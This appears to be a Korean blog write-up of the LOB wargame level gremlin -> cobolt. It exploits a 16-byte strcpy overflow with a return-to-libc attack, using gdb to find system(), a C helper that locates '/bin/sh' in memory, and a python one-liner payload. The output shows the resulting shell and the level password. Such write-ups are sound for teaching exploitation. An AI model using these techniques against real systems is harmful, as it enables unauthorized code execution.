/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

LOB 두번째 문제인 gremlin -> cobolt 문제이다.

위 코드를 보면 buffer의 크기가 16bytes로 작아진 것을 볼 수 있다.

즉, buffer에 shellcode를 넣을 수 없다는 뜻이다.

 

따라서 필자는 RTL 공격 기법을 사용할 것이다.

RTL 공격 기법에 대한 설명은 아래 링크에 설명되어 있다.

https://lactea.kr/entry/bof-Return-to-Libc-RTL-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95?category=866608

 

[bof] - Return to Libc (RTL) 공격 기법

0x01 What is it? RTL 공격은 스택에 NX-bit 보안 기법이 적용 되었을때 사용하는 공격 기법이다. NX란 Never eXecutable stack 을 줄인 말로 "스택에서 코드 실행 불가" 라는 보안 역할을 한다. NX-bit 때문에 스..

lactea.kr

 

 

RTL 공격을 하기 위해서는 system 주소와 /bin/sh 문자열의 주소가 필요하다. 

우선 system 주소를 얻기 위해 아래와 같이 cobolt 바이너리 파일을 복사하고 이를 gdb로 까본다.

[gremlin@localhost gremlin]$mkdir tmp
[gremlin@localhost gremlin]$ cp cobolt ./tmp/cobolt_copy
[gremlin@localhost gremlin]$ cd ./tmp
[gremlin@localhost tmp]$ ls
cobolt_copy
[gremlin@localhost tmp]$ gdb -q cobolt_copy 
(gdb) 

 

system 함수를 찾기 위해서는 main 함수에 breakpoint를 걸고 p system 명령어로 system 함수의 주소를 찾는다.

system 함수의 주소는 0x40058ae0 이다.

(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/gremlin/tmp/cobolt_copy 

Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$3 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

 

 

그 다음 system 함수에 인자 값인 /bin/sh를 넣어주기 위해 /bin/sh 문자열을 찾아야한다.

아래 c코드로 /bin/sh 문자열을 찾는다.

#include <stdio.h>
#include <stdlib.h>

int main(int argc,char *argv[]) {
        long shell;
        shell = 0x40058ae0; // system 함수의 주소
        while(memcmp((void*)shell,("/bin/sh"),8)) shell++;
        printf("%p\n",shell);
}

 

위 c코드를 컴파일 하여 실행하면 /bin/sh 문자열의 주소는 0x400fbff9 임을 알 수 있다.

[gremlin@localhost tmp]$ gcc -o getString getString.c 
[gremlin@localhost tmp]$ ./getString 
0x400fbff9
[gremlin@localhost tmp]$ 

 

스택에 삽입할 payload는 다음과 같다.

[Dummy Code(20bytes)] + [system addr] + [Dummy Code(4bytes)] + [/bin/sh addr]

 

위 스택을 기준으로 payload를 짜 보면 아래와 같다.

./cobolt `python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`

 

위 명령어를 통해 아래 처럼 shell을 획득 한 것을 볼 수 있다. 

buffer에 shellcode를 넣는 것 보다면 RTL로 한방에 되는 것을 보면 정말 쉬운 것 같다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAA@AAAA@
bash$ whoami
cobolt
bash$ my-pass
euid = 502
hacking exposed
bash$ 

 

 

 

 

 

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04
[LOB] - goblin -> orc 풀이  (0) 2019.10.04
[LOB] - cobolt -> goblin 풀이  (0) 2019.10.04
[LOB] - gremlin -> cobolt 풀이  (0) 2019.10.04
[LOB] - gate -> gremlin 풀이  (0) 2019.10.04